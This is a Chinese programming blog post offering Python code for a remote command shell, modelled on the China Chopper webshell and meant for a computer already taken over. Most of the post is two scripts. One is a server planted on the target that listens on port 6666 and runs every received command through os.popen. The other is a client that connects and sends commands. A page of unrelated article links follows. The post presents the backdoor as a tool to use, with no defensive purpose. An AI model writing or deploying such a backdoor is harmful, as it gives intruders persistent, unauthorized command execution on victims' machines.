python模拟菜刀反弹shell绕过限制【推荐】


Posted in Python onJune 25, 2019

有的时候我们在获取到目标电脑时候如果对方电脑又python 编译环境时可以利用python 反弹shell

主要用到python os库和sokect库

这里的服务端在目标机上运行

from socket import *
from os import *
s=socket(AF_INET,SOCK_STREAM)#IVP4 寻址 tcp协议
s.bind(('',6666))#补丁端口
s.listen(1)#开始监听一个队列
while True:
  sock,addr=s.accept()#返回两次 第一次返回连接地址 二 端口号
  print ('客户端:',addr)
  while True:
    cmd=sock.recv(1024)#缓存长度 接收传递过来
    cmdstr=cmd.decode()
    if cmdstr=='exit':
      print ('客户端:',addr,'关闭')
      sock.close()
      break
    result=popen(cmdstr).read()
    sock.send(result.encode())
s.close()

本机运行

from socket import *
from os import *

c=socket(AF_INET,SOCK_STREAM)#IVP4 寻址 tcp协议
c.connect(('127.0.0.1',6666))#连接地址
while True:
  cmd=input("cmd:")
  c.send(cmd.encode())#必须传递流
  if cmd=='exit':
    c.close()
    break
  data=c.recv(1014)
  print (data.decode())

总结

以上所述是小编给大家介绍的python模拟菜刀反弹shell绕过限制,希望对大家有所帮助,如果大家有任何疑问欢迎给我留言,小编会及时回复大家的!

Python 相关文章推荐
Python爬虫实例_城市公交网络站点数据的爬取方法
Jan 10 Python
python中kmeans聚类实现代码
Feb 23 Python
利用numpy和pandas处理csv文件中的时间方法
Apr 19 Python
对tensorflow 的模型保存和调用实例讲解
Jul 28 Python
Python异常的检测和处理方法
Oct 26 Python
python 多进程共享全局变量之Manager()详解
Aug 15 Python
Python3操作MongoDB增册改查等方法详解
Feb 10 Python
python统计字符串中字母出现次数代码实例
Mar 02 Python
PyQt5.6+pycharm配置以及pyinstaller生成exe(小白教程)
Jun 02 Python
matplotlib bar()实现多组数据并列柱状图通用简便创建方法
Feb 24 Python
python pygame 愤怒的小鸟游戏示例代码
Feb 25 Python
python numpy中multiply与*及matul 的区别说明
May 26 Python
Pandas之DataFrame对象的列和索引之间的转化
Jun 25 #Python
Pandas之Fillna填充缺失数据的方法
Jun 25 #Python
PYQT5实现控制台显示功能的方法
Jun 25 #Python
Pandas之Dropna滤除缺失数据的实现方法
Jun 25 #Python
PyQT5 QTableView显示绑定数据的实例详解
Jun 25 #Python
Pandas之ReIndex重新索引的实现
Jun 25 #Python
Python中使用__new__实现单例模式并解析
Jun 25 #Python
You might like
Laravel手动返回错误码示例
2019/10/22 PHP
javascript 学习之旅 (1)
2009/02/05 Javascript
禁用Enter键表单自动提交实现代码
2014/05/22 Javascript
浅谈类似于(function(){}).call()的js语句
2015/03/30 Javascript
JS+CSS实现美化的下拉列表框效果
2015/08/11 Javascript
AngularJS基础 ng-class-odd 指令示例
2016/08/01 Javascript
jQuery获取选中单选按钮radio的值
2016/12/27 Javascript
使用ionic在首页新闻中应用到的跑马灯效果的实现方法
2017/02/13 Javascript
解析Vue2.0双向绑定实现原理
2017/02/23 Javascript
Vue2.0基于vue-cli+webpack Vuex的用法(实例讲解)
2017/09/15 Javascript
全面了解JavaScript的作用域链
2019/04/03 Javascript
layui添加动态菜单与选项卡
2019/07/26 Javascript
vue实现select下拉显示隐藏功能
2019/09/30 Javascript
Vue之封装公用变量以及实现方式
2020/07/31 Javascript
优化Python代码使其加快作用域内的查找
2015/03/30 Python
Python网络编程之TCP与UDP协议套接字用法示例
2018/02/02 Python
Python3 使用cookiejar管理cookie的方法
2018/12/28 Python
django2.0扩展用户字段示例
2019/02/13 Python
Python3批量生成带logo的二维码方法
2019/06/24 Python
python flask几分钟实现web服务的例子
2019/07/26 Python
python tkinter实现彩球碰撞屏保
2019/07/30 Python
CSS3的transition和animation的用法实例介绍
2014/08/20 HTML / CSS
纯CSS3实现扇形动画菜单(简化版)实例源码
2017/01/17 HTML / CSS
浅谈CSS3 box-sizing 属性 有趣的盒模型
2019/04/02 HTML / CSS
丝芙兰意大利官方网站:Sephora.it
2019/12/13 全球购物
天游软件面试
2013/11/23 面试题
电子商务专业自我鉴定
2013/12/18 职场文书
安全事故检讨书
2014/01/18 职场文书
小学老师寄语大全
2014/04/04 职场文书
爱心捐款倡议书范文
2014/05/12 职场文书
一份恶作剧的检讨书
2014/09/13 职场文书
医生见习报告范文
2014/11/03 职场文书
2014年销售助理工作总结
2014/12/01 职场文书
投诉书格式范本
2015/07/02 职场文书
女性健康讲座主持词
2015/07/04 职场文书
学校2016年圣诞节活动总结
2016/03/31 职场文书